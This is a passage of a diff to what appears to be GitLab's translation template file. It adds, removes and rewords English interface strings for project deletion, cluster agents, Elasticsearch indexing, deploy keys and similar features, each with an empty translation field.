+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
